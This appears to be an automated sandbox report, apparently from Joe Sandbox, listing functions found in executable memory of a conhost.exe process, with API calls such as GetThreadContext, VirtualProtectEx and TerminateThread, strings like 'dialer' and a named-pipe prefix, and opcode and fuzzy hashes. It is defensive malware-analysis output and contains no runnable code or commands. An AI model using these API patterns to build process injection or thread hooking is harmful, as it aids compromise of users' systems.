API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: b0701248d4d244a5dafc68678e609b7cc9da73d806f0c9d9ccf5ce01bde3542f
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 16118B36300B4282EF199B21E4062A973B0FB88BC5F044A2BDE8D03798EF3DC605CB44

Function 000001DCB14E5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001DCB14E5B6B
GetThreadContext.KERNEL32 ref: 000001DCB14E5CD5

Part of subcall function 000001DCB14E5960: GetCurrentThreadId.KERNEL32 ref: 000001DCB14E5964

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 2efe4dd25542e2b1334f9c22cb14d5e89877f76ff3a1be84c65be0682985c90a
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 0ED1A736204B8986DA749B0AE49539A77A0F3C8BD4F104617EACE47BA9CF7CC551CF80

Function 000001DCB14E2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001DCB14E2F27
HeapAlloc.KERNEL32 ref: 000001DCB14E2F3A
StrCmpNIW.SHLWAPI ref: 000001DCB14E2FAF
GetProcessHeap.KERNEL32 ref: 000001DCB14E3015
HeapFree.KERNEL32 ref: 000001DCB14E3023

Strings

dialer, xrefs: 000001DCB14E2FA8

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: a53387c1eeef2f212c7c3ea97cb55ac2d78b06c4b019cbac7f0c3e482c151602
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 9131C733701B5282EB19CF16D551BA967A0FB88BC4F088A239E4847B5DEF34C561CB80

Function 000001DCB14E14A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 70memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001DCB14E14C5
HeapFree.KERNEL32 ref: 000001DCB14E14D4
GetProcessHeap.KERNEL32 ref: 000001DCB14E14E1
HeapFree.KERNEL32 ref: 000001DCB14E14F0
GetProcessHeap.KERNEL32 ref: 000001DCB14E1500

Strings

C:\Windows\system32\conhost.exe, xrefs: 000001DCB14F61A9, 000001DCB14F61B1

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\system32\conhost.exe
API String ID: 3168794593-2100230096
Opcode ID: 335002606d0c58216c4b7b8c214cf2e956f7ef49abbb5e195d674a66fc258290
Instruction ID: 576df3ef55ff53b928eaa5fc352cb4d832cff30ed3df5f520c42e961cf921978
Opcode Fuzzy Hash: 335002606d0c58216c4b7b8c214cf2e956f7ef49abbb5e195d674a66fc258290
Instruction Fuzzy Hash: A021A577508AD28AEB52DF259E562DD27A0F7C5BC4F094917DB4D4334BDE25C404CB80

Function 000001DCB14ECFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001DCB14ECFAF
FlsSetValue.KERNEL32(?,?,?,000001DCB14ED6B5,?,?,?,?,000001DCB14ED778), ref: 000001DCB14ECFE5
FlsSetValue.KERNEL32(?,?,?,000001DCB14ED6B5,?,?,?,?,000001DCB14ED778), ref: 000001DCB14ED012
FlsSetValue.KERNEL32(?,?,?,000001DCB14ED6B5,?,?,?,?,000001DCB14ED778), ref: 000001DCB14ED023
FlsSetValue.KERNEL32(?,?,?,000001DCB14ED6B5,?,?,?,?,000001DCB14ED778), ref: 000001DCB14ED034
SetLastError.KERNEL32 ref: 000001DCB14ED04F

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 1dcd1f553b37aa95bfe4a425e1d360d23f823e56dd11789beb42e1cc39328e8d
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: A9115E3230028286FA6C973255573B922425BD47F4F148F27A83E867DEDE28C802CE80

Function 000001DCB14E199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001DCB14E19C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001DCB14E19E0
PathFindFileNameW.SHLWAPI ref: 000001DCB14E19EF
lstrlenW.KERNEL32 ref: 000001DCB14E19FB
StrCpyW.SHLWAPI ref: 000001DCB14E1A0E
CloseHandle.KERNEL32 ref: 000001DCB14E1A1C

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: eb02efabe6924369c842312c8d45e7879d1d6f2b950d643dd41af93bfe01d87e
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 29016D31300A4282EB24DB52B44979963A1F788FC4F488A37DE4D43758DF3CC949CB80

Function 000001DCB14E36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001DCB14E36E4
GetCurrentProcess.KERNEL32 ref: 000001DCB14E36F2
VirtualProtectEx.KERNEL32 ref: 000001DCB14E3714
GetCurrentProcess.KERNEL32 ref: 000001DCB14E3732
VirtualProtectEx.KERNEL32 ref: 000001DCB14E3753
TerminateThread.KERNEL32 ref: 000001DCB14E3762

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 1f2b2f8a2f59a67fb912c18792d636d42f95318e13dcaed2a18e4aaf2ea1a068
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 01016D7561174686EF269B62E80A79633B0BB85BC2F144A27CD4D07758EF3DC508CB80

Function 000001DCB14E9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001DCB14E9013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001DCB14E90A8
RtlUnwindEx.NTDLL ref: 000001DCB14E90F7

Strings

csm, xrefs: 000001DCB14E908E
f, xrefs: 000001DCB14E9026

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 04911917c6cfd6313755c743836507514d95a868e8e36077fee7b1496b99f294
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 1D51B13370160286EB18DF25E449B99B796F384BC8F54CA2BDA16477CCEB75C841CB80

Function 000001DCB14E8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001DCB14E9013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001DCB14E90A8
RtlUnwindEx.NTDLL ref: 000001DCB14E90F7

Strings

csm, xrefs: 000001DCB14E908E
f, xrefs: 000001DCB14E9026

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 35416f02ceb9bce7972fa6cbb1b5d96039ff3a47102fe76809d1a221ff3846f3
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 4131B17320064196EB18DF21E84A7997BA5F380BC8F45CA1BEE5A0778DDB39C940CB84

Function 000001DCB14E1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001DCB14E1A60
StrCmpNIW.SHLWAPI ref: 000001DCB14E1A7A
lstrlenW.KERNEL32 ref: 000001DCB14E1A89
StrCpyW.SHLWAPI ref: 000001DCB14E1A9E

Strings

\\?\, xrefs: 000001DCB14E1A6E

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: a8e015708c1cf91286ed304dc7415594bf48611249380ddcb9e2df3592c87fae
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: BCF0447230464292EB718F21F9857996761F788BC8F948523DA8D4665CDF3CC64DCF40

Function 000001DCB14E3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001DCB14E3066
StrCpyW.SHLWAPI ref: 000001DCB14E3076
StrCatW.SHLWAPI ref: 000001DCB14E3082
PathCombineW.SHLWAPI ref: 000001DCB14E3090

Strings

\\.\pipe\, xrefs: 000001DCB14E305C

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 87084438311af0aa5a08b3a7ebdf315b1cfbf44d6281a40e01baa085c5fa9e74
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: DAF08C71704B8282EE058B13B9061996760EBC8FC0F088A33EE4A47B1CDF3CC545CB80

Function 000001DCB14EBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001DCB14EBCBD
GetProcAddress.KERNEL32 ref: 000001DCB14EBCD3
FreeLibrary.KERNEL32 ref: 000001DCB14EBCFA

Strings

CorExitProcess, xrefs: 000001DCB14EBCCC
mscoree.dll, xrefs: 000001DCB14EBCB4

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: f907c8742a5ba34bea7fc9c718870f416e1e51564cc32766a889860c5a5f53ad
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 69F06D72211A0681FF158F24E8463A96360EBC8BE1F544B1BCA6E463E8DF2CC049CB80

Function 000001DCB14E50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001DCB14E5156

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: c4b07b57ed42e73712d1dd8fd11d8c6c1d9695b5eacf23a3b072bcc6d2d5841d
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: D802C437619B8186EBA4CB55E49539AB7A0F3C57D0F104517EA8E87BACDB78C484CF80

Function 000001DCB14E5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001DCB14E5726

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 6a6f3eb06189da698911d677218c810692eb9a414bba1d9530d638b6bfb1a698
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 9461E63A518A42C6E7648B55E48539AB7E0F3C97D4F104A17EA8E4BBACDB7CC454CF80

Function 000001DCAFC23504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001DCAFC2352C
_set_statfp.LIBCMT ref: 000001DCAFC23547
_set_statfp.LIBCMT ref: 000001DCAFC23563
_set_statfp.LIBCMT ref: 000001DCAFC2359F

Memory Dump Source

Source File: 00000010.00000002.2915198787.000001DCAFC10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001DCAFC10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcafc10000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 3d55f157ae879b8e100138e6626c93a35e3bd7841207d947630d50f09a9a4b4c
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: D8115133E14A5B11FE74356BE4553E91181EB5837CF4A8E3BBD6A076D6EB34C881C280

Function 000001DCB14F4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001DCB14F412C
_set_statfp.LIBCMT ref: 000001DCB14F4147
_set_statfp.LIBCMT ref: 000001DCB14F4163
_set_statfp.LIBCMT ref: 000001DCB14F419F

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 975b7eb4e3024514b8e53927d42b33a07514c5652ce0402d8fe099772b8714ad
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: C8114F36B10A5711FF661569D6DB3E513416BE83F8F1C0F27A97E067DE8E24C845CA80

Function 000001DCAFC1F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001DCAFC1F124

Strings

Wednesday, xrefs: 000001DCAFC1F1ED
or copy constructor iterator', xrefs: 000001DCAFC1F25A, 000001DCAFC1F275
Tuesday, xrefs: 000001DCAFC1F0F4

Memory Dump Source

Source File: 00000010.00000002.2915198787.000001DCAFC10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001DCAFC10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcafc10000_conhost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: b76f6ab19472dac82a49991b6ebd140ce9c9d9732cb763f944a0f77e70490eb1
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 6061903360024B82FE799A27E5443EA66A1B745788F674D17FA4A037E5FB74C861C388

Function 000001DCB14EAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001DCB14EAA68
_CallSETranslator.LIBVCRUNTIME ref: 000001DCB14EAAB7

Strings

MOC, xrefs: 000001DCB14EAA7C
RCC, xrefs: 000001DCB14EAA85

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 585a441b8fd835e620a43bf3da8065168387ce279e1c7d88da339573e18ee53b
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 9C613733600B85CAEB289F65D4413DD77A0F784B88F148A17EF4917B98DB78C599CB80

Function 000001DCAFC1A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001DCAFC1A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001DCAFC1A288

Strings

csm, xrefs: 000001DCAFC1A1C2
csm, xrefs: 000001DCAFC1A2DA

Memory Dump Source

Source File: 00000010.00000002.2915198787.000001DCAFC10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001DCAFC10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcafc10000_conhost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 1e20aded7887f0d8c3ef82d62b0530b9e8693ffdedcd17c7046f4ddea5da917e
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: BC518E3310028BCAEF748B17954439877A0F395F98F5A4A17EA8987BD5EB38D470C788

Function 000001DCB14EAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001DCB14EADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001DCB14EAE88

Strings

csm, xrefs: 000001DCB14EADC2
csm, xrefs: 000001DCB14EAEDA

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 71d7a18146d91f5d43cfd5537e51bea90033a2bc66c4cd87fbccb81b70c93105
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 0B519E73200282CAEB688F2594963D977A1F394BD4F28CB17DA8947BD9CB38C455CF81

Function 000001DCAFC18405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001DCAFC18413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001DCAFC184A8

Strings

csm, xrefs: 000001DCAFC1848E
f, xrefs: 000001DCAFC18426

Memory Dump Source

Source File: 00000010.00000002.2915198787.000001DCAFC10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001DCAFC10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcafc10000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 20161e1febb815d6026581c53f3f8bd2f0cdadec4370ddc11aabc870f39d9d65
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: C951B133A0960B86EF34DB16D444B99B795F354B9CF528926FA06437C8FB34CA61C788

Function 000001DCAFC183E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001DCAFC18413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001DCAFC184A8

Strings

csm, xrefs: 000001DCAFC1848E
f, xrefs: 000001DCAFC18426

Memory Dump Source

Source File: 00000010.00000002.2915198787.000001DCAFC10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001DCAFC10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcafc10000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: c1a195d0bbe70dee89b6b754d25e38b56ca09b21a05f47a4d9d5ea186ac7a727
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 36318D3360574686EB24DF12E844799B7A4F344B9CF168816FE5B037C8EB38CA61C788

Function 000001DCB14F2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001DCB14F20D7
WriteFile.KERNEL32 ref: 000001DCB14F239F
WriteFile.KERNEL32 ref: 000001DCB14F23E5
GetLastError.KERNEL32 ref: 000001DCB14F249B

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 3f7b48d6dc793229d4f13c8a247ee474c390f3624271c64b4123079c20cf2826
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 9AD1DE72B14A8189EB12CFA9D4416DC3BB1F3947D8F148627CE5D97B9DDA38C406CB80

Function 000001DCB14F2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001DCB14F2A9C
GetLastError.KERNEL32 ref: 000001DCB14F2B27

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 5a4963966454fbf7f30982c592b0a82109d9a3a25fd158a67e281948fcc88a35
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: B891B27270065689FB62DF659446BED2BA0F784BC8F144A0BDE0E57B8DDB34C486CB80

Function 000001DCB14E253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001DCB14E2620
StrCpyW.SHLWAPI ref: 000001DCB14E2639

Strings

\\.\pipe\, xrefs: 000001DCB14E262B

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: a764b8371f3061530ee1c381f568eb3d4e3d1a7d4194ccf8e6127d5a7ce6b1ea
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: D071E33724078286EB29DF2598467EA6794F3C9BC4F548A27DD4A43B8DDF34C645CB80

Function 000001DCAFC19E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001DCAFC19EB7

Strings

RCC, xrefs: 000001DCAFC19E85
MOC, xrefs: 000001DCAFC19E7C

Memory Dump Source

Source File: 00000010.00000002.2915198787.000001DCAFC10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001DCAFC10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcafc10000_conhost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 5b03d70fb54bb1352b1507590ed4b70a15de72f8bc4ad2b0a4b574169888b3c7
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
